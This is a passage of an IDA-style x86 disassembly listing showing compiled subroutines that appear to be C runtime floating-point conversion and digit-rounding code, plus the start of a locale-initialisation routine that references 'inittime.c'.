mov ecx, [ebp+arg_0]
lea edx, [ecx+eax*4]
push edx
push 1
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
push edx
call sub_42E4F0
add esp, 0Ch
mov [ebp+var_10], eax
jmp short loc_42B389
; ---------------------------------------------------------------------------
loc_42B3C1: ; CODE XREF: sub_42B320+76j
; sub_42B320+7Cj
mov eax, [ebp+var_10]
mov esp, ebp
pop ebp
retn
sub_42B320 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B3D0 proc near ; CODE XREF: sub_42B660+ABp
; sub_42B660+132p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_18], 0
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_14], eax
mov edx, [ebp+var_C]
and edx, 8000001Fh
jns short loc_42B40E
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_42B40E: ; CODE XREF: sub_42B3D0+37j
mov eax, 1Fh
sub eax, edx
mov [ebp+var_8], eax
mov edx, 1
mov ecx, [ebp+var_8]
shl edx, cl
mov [ebp+var_1C], edx
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
and edx, [ebp+var_1C]
test edx, edx
jz short loc_42B45F
mov eax, [ebp+var_C]
add eax, 1
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42B290
add esp, 8
test eax, eax
jnz short loc_42B45F
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42B320
add esp, 8
mov [ebp+var_18], eax
loc_42B45F: ; CODE XREF: sub_42B3D0+63j
; sub_42B3D0+7Aj
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_8]
shl edx, cl
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
mov eax, [ecx+eax*4]
and eax, edx
mov ecx, [ebp+var_14]
mov edx, [ebp+arg_0]
mov [edx+ecx*4], eax
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_10], eax
jmp short loc_42B48F
; ---------------------------------------------------------------------------
loc_42B486: ; CODE XREF: sub_42B3D0+D2j
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_42B48F: ; CODE XREF: sub_42B3D0+B4j
cmp [ebp+var_10], 3
jge short loc_42B4A4
mov edx, [ebp+var_10]
mov eax, [ebp+arg_0]
mov dword ptr [eax+edx*4], 0
jmp short loc_42B486
; ---------------------------------------------------------------------------
loc_42B4A4: ; CODE XREF: sub_42B3D0+C3j
mov eax, [ebp+var_18]
mov esp, ebp
pop ebp
retn
sub_42B3D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B4B0 proc near ; CODE XREF: sub_42B660+98p
; sub_42B660+10Fp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
mov [ebp+var_C], 0
jmp short loc_42B4D4
; ---------------------------------------------------------------------------
loc_42B4CB: ; CODE XREF: sub_42B4B0+46j
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_42B4D4: ; CODE XREF: sub_42B4B0+19j
cmp [ebp+var_C], 3
jge short loc_42B4F8
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
jmp short loc_42B4CB
; ---------------------------------------------------------------------------
loc_42B4F8: ; CODE XREF: sub_42B4B0+28j
mov esp, ebp
pop ebp
retn
sub_42B4B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B500 proc near ; CODE XREF: sub_42B660+7Cp
; sub_42B660+D5p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_42B516
; ---------------------------------------------------------------------------
loc_42B50D: ; CODE XREF: sub_42B500+29j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42B516: ; CODE XREF: sub_42B500+Bj
cmp [ebp+var_4], 3
jge short loc_42B52B
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov dword ptr [edx+ecx*4], 0
jmp short loc_42B50D
; ---------------------------------------------------------------------------
loc_42B52B: ; CODE XREF: sub_42B500+1Aj
mov esp, ebp
pop ebp
retn
sub_42B500 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B530 proc near ; CODE XREF: sub_42B660+63p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_42B546
; ---------------------------------------------------------------------------
loc_42B53D: ; CODE XREF: sub_42B530:loc_42B55Cj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42B546: ; CODE XREF: sub_42B530+Bj
cmp [ebp+var_4], 3
jge short loc_42B55E
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
cmp dword ptr [edx+ecx*4], 0
jz short loc_42B55C
xor eax, eax
jmp short loc_42B563
; ---------------------------------------------------------------------------
loc_42B55C: ; CODE XREF: sub_42B530+26j
jmp short loc_42B53D
; ---------------------------------------------------------------------------
loc_42B55E: ; CODE XREF: sub_42B530+1Aj
mov eax, 1
loc_42B563: ; CODE XREF: sub_42B530+2Aj
mov esp, ebp
pop ebp
retn
sub_42B530 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B570 proc near ; CODE XREF: sub_42B660+11Fp
; sub_42B660+148p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov eax, [ebp+arg_4]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_18], eax
mov eax, [ebp+arg_4]
and eax, 8000001Fh
jns short loc_42B595
dec eax
or eax, 0FFFFFFE0h
inc eax
loc_42B595: ; CODE XREF: sub_42B570+1Ej
mov [ebp+var_4], eax
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_4]
shl edx, cl
not edx
mov [ebp+var_14], edx
mov [ebp+var_8], 0
mov [ebp+var_C], 0
jmp short loc_42B5BE
; ---------------------------------------------------------------------------
loc_42B5B5: ; CODE XREF: sub_42B570+9Fj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_42B5BE: ; CODE XREF: sub_42B570+43j
cmp [ebp+var_C], 3
jge short loc_42B611
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4]
and eax, [ebp+var_14]
mov [ebp+var_10], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4]
mov ecx, [ebp+var_4]
shr eax, cl
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov [edx+ecx*4], eax
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
or edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov [ecx+eax*4], edx
mov ecx, 20h
sub ecx, [ebp+var_4]
mov edx, [ebp+var_10]
shl edx, cl
mov [ebp+var_8], edx
jmp short loc_42B5B5
; ---------------------------------------------------------------------------
loc_42B611: ; CODE XREF: sub_42B570+52j
mov [ebp+var_C], 2
jmp short loc_42B623
; ---------------------------------------------------------------------------
loc_42B61A: ; CODE XREF: sub_42B570:loc_42B655j
mov eax, [ebp+var_C]
sub eax, 1
mov [ebp+var_C], eax
loc_42B623: ; CODE XREF: sub_42B570+A8j
cmp [ebp+var_C], 0
jl short loc_42B657
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_18]
jl short loc_42B648
mov edx, [ebp+var_C]
sub edx, [ebp+var_18]
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov esi, [ebp+arg_0]
mov edx, [esi+edx*4]
mov [ecx+eax*4], edx
jmp short loc_42B655
; ---------------------------------------------------------------------------
loc_42B648: ; CODE XREF: sub_42B570+BFj
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+eax*4], 0
loc_42B655: ; CODE XREF: sub_42B570+D6j
jmp short loc_42B61A
; ---------------------------------------------------------------------------
loc_42B657: ; CODE XREF: sub_42B570+B7j
pop esi
mov esp, ebp
pop ebp
retn
sub_42B570 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B660 proc near ; CODE XREF: sub_42B8B0+10p
; sub_42B8D0+10p
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 34h
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+0Ah]
and ecx, 7FFFh
sub ecx, 3FFFh
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+0Ah]
and eax, 8000h
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+6]
mov [ebp+var_18], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+2]
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx]
shl eax, 10h
mov [ebp+var_10], eax
cmp [ebp+var_4], 0FFFFC001h
jnz short loc_42B6F0
mov [ebp+var_8], 0
lea ecx, [ebp+var_18]
push ecx
call sub_42B530
add esp, 4
test eax, eax
jz short loc_42B6D8
mov [ebp+var_1C], 0
jmp short loc_42B6EB
; ---------------------------------------------------------------------------
loc_42B6D8: ; CODE XREF: sub_42B660+6Dj
lea edx, [ebp+var_18]
push edx
call sub_42B500
add esp, 4
mov [ebp+var_1C], 2
loc_42B6EB: ; CODE XREF: sub_42B660+76j
jmp loc_42B83C
; ---------------------------------------------------------------------------
loc_42B6F0: ; CODE XREF: sub_42B660+56j
lea eax, [ebp+var_18]
push eax
lea ecx, [ebp+var_30]
push ecx
call sub_42B4B0
add esp, 8
mov edx, [ebp+arg_8]
mov eax, [edx+8]
push eax
lea ecx, [ebp+var_18]
push ecx
call sub_42B3D0
add esp, 8
test eax, eax
jz short loc_42B720
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42B720: ; CODE XREF: sub_42B660+B5j
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov edx, [eax+4]
sub edx, [ecx+8]
cmp [ebp+var_4], edx
jge short loc_42B750
lea eax, [ebp+var_18]
push eax
call sub_42B500
add esp, 4
mov [ebp+var_8], 0
mov [ebp+var_1C], 2
jmp loc_42B83C
; ---------------------------------------------------------------------------
loc_42B750: ; CODE XREF: sub_42B660+CFj
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
cmp edx, [ecx+4]
jg short loc_42B7C0
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
sub ecx, [ebp+var_4]
mov [ebp+var_34], ecx
lea edx, [ebp+var_30]
push edx
lea eax, [ebp+var_18]
push eax
call sub_42B4B0
add esp, 8
mov ecx, [ebp+var_34]
push ecx
lea edx, [ebp+var_18]
push edx
call sub_42B570
add esp, 8
mov eax, [ebp+arg_8]
mov ecx, [eax+8]
push ecx
lea edx, [ebp+var_18]
push edx
call sub_42B3D0
add esp, 8
mov eax, [ebp+arg_8]
mov ecx, [eax+0Ch]
add ecx, 1
push ecx
lea edx, [ebp+var_18]
push edx
call sub_42B570
add esp, 8
mov [ebp+var_8], 0
mov [ebp+var_1C], 2
jmp short loc_42B83C
; ---------------------------------------------------------------------------
loc_42B7C0: ; CODE XREF: sub_42B660+F9j
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
cmp ecx, [eax]
jl short loc_42B80B
lea edx, [ebp+var_18]
push edx
call sub_42B500
add esp, 4
mov eax, [ebp+var_18]
or eax, 80000000h
mov [ebp+var_18], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
push edx
lea eax, [ebp+var_18]
push eax
call sub_42B570
add esp, 8
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+arg_8]
add edx, [eax+14h]
mov [ebp+var_8], edx
mov [ebp+var_1C], 1
jmp short loc_42B83C
; ---------------------------------------------------------------------------
loc_42B80B: ; CODE XREF: sub_42B660+168j
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
add edx, [ecx+14h]
mov [ebp+var_8], edx
mov eax, [ebp+var_18]
and eax, 7FFFFFFFh
mov [ebp+var_18], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
push edx
lea eax, [ebp+var_18]
push eax
call sub_42B570
add esp, 8
mov [ebp+var_1C], 0
loc_42B83C: ; CODE XREF: sub_42B660:loc_42B6EBj
; sub_42B660+EBj ...
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
add edx, 1
mov eax, 20h
sub eax, edx
mov [ebp+var_C], eax
mov edx, [ebp+var_8]
mov ecx, [ebp+var_C]
shl edx, cl
mov eax, [ebp+var_18]
or eax, edx
mov ecx, [ebp+var_20]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or eax, ecx
mov [ebp+var_24], eax
mov edx, [ebp+arg_8]
cmp dword ptr [edx+10h], 40h
jnz short loc_42B88A
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_24]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_14]
mov [edx], eax
jmp short loc_42B89B
; ---------------------------------------------------------------------------
loc_42B88A: ; CODE XREF: sub_42B660+215j
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+10h], 20h
jnz short loc_42B89B
mov edx, [ebp+arg_4]
mov eax, [ebp+var_24]
mov [edx], eax
loc_42B89B: ; CODE XREF: sub_42B660+228j
; sub_42B660+231j
mov eax, [ebp+var_1C]
mov esp, ebp
pop ebp
retn
sub_42B660 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B8B0 proc near ; CODE XREF: sub_42B9B0+2Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_447AF8
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42B660
add esp, 0Ch
pop ebp
retn
sub_42B8B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B8D0 proc near ; CODE XREF: sub_42BA30+2Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_447B10
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42B660
add esp, 0Ch
pop ebp
retn
sub_42B8D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B8F0 proc near ; CODE XREF: .data:0042BA1Ap
; .data:0042F34Fp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
mov [ebp+var_14], 0
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+0Ah]
and ecx, 7FFFh
mov word ptr [ebp+var_4], cx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+0Ah]
and eax, 8000h
mov word ptr [ebp+var_18], ax
mov ecx, [ebp+arg_0]
mov edx, [ecx+6]
mov [ebp+var_10], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+2]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx]
shl eax, 10h
mov [ebp+var_8], eax
push 40h
lea ecx, [ebp+var_10]
push ecx
call sub_42B3D0
add esp, 8
test eax, eax
jz short loc_42B967
mov [ebp+var_10], 80000000h
mov dx, word ptr [ebp+var_4]
add dx, 1
mov word ptr [ebp+var_4], dx
loc_42B967: ; CODE XREF: sub_42B8F0+62j
mov eax, [ebp+var_4]
and eax, 0FFFFh
cmp eax, 7FFFh
jnz short loc_42B97D
mov [ebp+var_14], 1
loc_42B97D: ; CODE XREF: sub_42B8F0+84j
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_10]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_C]
mov [eax], ecx
mov edx, [ebp+var_18]
and edx, 0FFFFh
mov eax, [ebp+var_4]
and eax, 0FFFFh
or edx, eax
mov ecx, [ebp+arg_4]
mov [ecx+8], dx
mov eax, [ebp+var_14]
mov esp, ebp
pop ebp
retn
sub_42B8F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B9B0 proc near ; CODE XREF: sub_425E70+14p
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 0
mov eax, [ebp+arg_4]
push eax
lea ecx, [ebp+var_10]
push ecx
lea edx, [ebp+var_C]
push edx
call sub_42E7F0
add esp, 1Ch
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_42B8B0
add esp, 8
mov esp, ebp
pop ebp
retn
sub_42B9B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 1
mov eax, [ebp+0Ch]
push eax
lea ecx, [ebp-10h]
push ecx
lea edx, [ebp-0Ch]
push edx
call sub_42E7F0
add esp, 1Ch
mov eax, [ebp+8]
push eax
lea ecx, [ebp-0Ch]
push ecx
call sub_42B8F0
add esp, 8
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BA30 proc near ; CODE XREF: sub_425E70+34p
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 0
mov eax, [ebp+arg_4]
push eax
lea ecx, [ebp+var_10]
push ecx
lea edx, [ebp+var_C]
push edx
call sub_42E7F0
add esp, 1Ch
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_42B8D0
add esp, 8
mov esp, ebp
pop ebp
retn
sub_42BA30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BA70 proc near ; CODE XREF: sub_425EC0+4Dp
; sub_4260B0+45p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
mov [ebp+var_8], edx
mov eax, [ebp+var_4]
mov byte ptr [eax], 30h
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42BA94: ; CODE XREF: sub_42BA70+69j
cmp [ebp+arg_4], 0
jle short loc_42BADB
mov edx, [ebp+var_8]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42BAB8
mov ecx, [ebp+var_8]
movsx edx, byte ptr [ecx]
mov [ebp+var_C], edx
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
jmp short loc_42BABF
; ---------------------------------------------------------------------------
loc_42BAB8: ; CODE XREF: sub_42BA70+32j
mov [ebp+var_C], 30h
loc_42BABF: ; CODE XREF: sub_42BA70+46j
mov ecx, [ebp+var_4]
mov dl, byte ptr [ebp+var_C]
mov [ecx], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
jmp short loc_42BA94
; ---------------------------------------------------------------------------
loc_42BADB: ; CODE XREF: sub_42BA70+28j
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
cmp [ebp+arg_4], 0
jl short loc_42BB24
mov eax, [ebp+var_8]
movsx ecx, byte ptr [eax]
cmp ecx, 35h
jl short loc_42BB24
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_42BAFB: ; CODE XREF: sub_42BA70+A5j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 39h
jnz short loc_42BB17
mov edx, [ebp+var_4]
mov byte ptr [edx], 30h
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
jmp short loc_42BAFB
; ---------------------------------------------------------------------------
loc_42BB17: ; CODE XREF: sub_42BA70+94j
mov ecx, [ebp+var_4]
mov dl, [ecx]
add dl, 1
mov eax, [ebp+var_4]
mov [eax], dl
loc_42BB24: ; CODE XREF: sub_42BA70+75j
; sub_42BA70+80j
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 31h
jnz short loc_42BB40
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
add ecx, 1
mov edx, [ebp+arg_8]
mov [edx+4], ecx
jmp short loc_42BB66
; ---------------------------------------------------------------------------
loc_42BB40: ; CODE XREF: sub_42BA70+BDj
mov eax, [ebp+arg_0]
add eax, 1
push eax
call sub_414EC0
add esp, 4
add eax, 1
push eax
mov ecx, [ebp+arg_0]
add ecx, 1
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_419A90
add esp, 0Ch
loc_42BB66: ; CODE XREF: sub_42BA70+CEj
mov esp, ebp
pop ebp
retn
sub_42BA70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BB70 proc near ; CODE XREF: sub_425EC0+1Ep
; sub_4260B0+1Ep ...
var_28 = word ptr -28h
var_26 = byte ptr -26h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = byte ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
lea eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_42BBF0
add esp, 8
lea edx, [ebp+var_28]
push edx
push 0
push 11h
sub esp, 0Ch
mov eax, esp
mov ecx, [ebp+var_C]
mov [eax], ecx
mov edx, [ebp+var_8]
mov [eax+4], edx
mov cx, [ebp+var_4]
mov [eax+8], cx
call sub_42F370
add esp, 18h
mov edx, [ebp+arg_8]
mov [edx+8], eax
movsx eax, [ebp+var_26]
mov ecx, [ebp+arg_8]
mov [ecx], eax
movsx edx, [ebp+var_28]
mov eax, [ebp+arg_8]
mov [eax+4], edx
lea ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_C]
push edx
call sub_418870
add esp, 8
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_C]
mov [eax+0Ch], ecx
mov eax, [ebp+arg_8]
mov esp, ebp
pop ebp
retn
sub_42BB70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BBF0 proc near ; CODE XREF: sub_42BB70+Ep
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_C], 80000000h
mov word ptr [ebp+var_4], 0
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cx, [eax+6]
and ecx, 7FF0h
sar ecx, 4
mov word ptr [ebp+var_14], cx
mov edx, [ebp+arg_4]
xor eax, eax
mov ax, [edx+6]
and eax, 8000h
mov word ptr [ebp+var_18], ax
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
and edx, 0FFFFFh
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_10], ecx
mov edx, [ebp+var_14]
and edx, 0FFFFh
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jz short loc_42BC67
cmp [ebp+var_1C], 7FFh
jz short loc_42BC5F
jmp short loc_42BCAA
; ---------------------------------------------------------------------------
loc_42BC5F: ; CODE XREF: sub_42BBF0+6Bj
mov word ptr [ebp+var_4], 7FFFh
jmp short loc_42BCC5
; ---------------------------------------------------------------------------
loc_42BC67: ; CODE XREF: sub_42BBF0+62j
cmp [ebp+var_8], 0
jnz short loc_42BC94
cmp [ebp+var_10], 0
jnz short loc_42BC94
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
mov edx, [ebp+arg_0]
mov word ptr [edx+8], 0
jmp loc_42BD4E
; ---------------------------------------------------------------------------
loc_42BC94: ; CODE XREF: sub_42BBF0+7Bj
; sub_42BBF0+81j
movsx eax, word ptr [ebp+var_14]
add eax, 3C01h
mov word ptr [ebp+var_4], ax
mov [ebp+var_C], 0
jmp short loc_42BCC5
; ---------------------------------------------------------------------------
loc_42BCAA: ; CODE XREF: sub_42BBF0+6Dj
mov cx, word ptr [ebp+var_14]
sub cx, 3FFh
mov word ptr [ebp+var_14], cx
movsx edx, word ptr [ebp+var_14]
add edx, 3FFFh
mov word ptr [ebp+var_4], dx
loc_42BCC5: ; CODE XREF: sub_42BBF0+75j
; sub_42BBF0+B8j
mov eax, [ebp+var_8]
shl eax, 0Bh
mov ecx, [ebp+var_C]
or ecx, eax
mov edx, [ebp+var_10]
shr edx, 15h
or ecx, edx
mov eax, [ebp+arg_0]
mov [eax+4], ecx
mov ecx, [ebp+var_10]
shl ecx, 0Bh
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_42BCE9: ; CODE XREF: sub_42BBF0+142j
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
and ecx, 80000000h
test ecx, ecx
jnz short loc_42BD34
mov edx, [ebp+arg_0]
mov eax, [edx+4]
shl eax, 1
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 80000000h
neg edx
sbb edx, edx
neg edx
or eax, edx
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
mov eax, [edx]
shl eax, 1
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov dx, word ptr [ebp+var_4]
sub dx, 1
mov word ptr [ebp+var_4], dx
jmp short loc_42BCE9
; ---------------------------------------------------------------------------
loc_42BD34: ; CODE XREF: sub_42BBF0+107j
mov eax, [ebp+var_18]
and eax, 0FFFFh
mov ecx, [ebp+var_4]
and ecx, 0FFFFh
or eax, ecx
mov edx, [ebp+arg_0]
mov [edx+8], ax
loc_42BD4E: ; CODE XREF: sub_42BBF0+9Fj
mov esp, ebp
pop ebp
retn
sub_42BBF0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 2
call sub_41AC70
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BD70 proc near ; DATA XREF: .data:004479A4o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp dword_4DE080, 0
jz loc_42BE11
push 48h
push offset aInittime_c ; "inittime.c"
push 2
push 0ACh
push 1
call sub_415520
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_42BDAC
mov eax, 1
jmp loc_42BE47
; ---------------------------------------------------------------------------
loc_42BDAC: ; CODE XREF: sub_42BD70+30j
mov eax, [ebp+var_4]
push eax
call sub_42BE50
add esp, 4
test eax, eax
jz short loc_42BDDD
mov ecx, [ebp+var_4]
push ecx
call sub_42C3E0
add esp, 4
push 2
mov edx, [ebp+var_4]
push edx
call sub_415C60
add esp, 8
mov eax, 1
jmp short loc_42BE47
; ---------------------------------------------------------------------------
loc_42BDDD: ; CODE XREF: sub_42BD70+4Aj
mov eax, [ebp+var_4]
mov off_4482A8, eax
mov ecx, dword_4DE1C8
push ecx
call sub_42C3E0
add esp, 4
push 2
mov edx, dword_4DE1C8
push edx
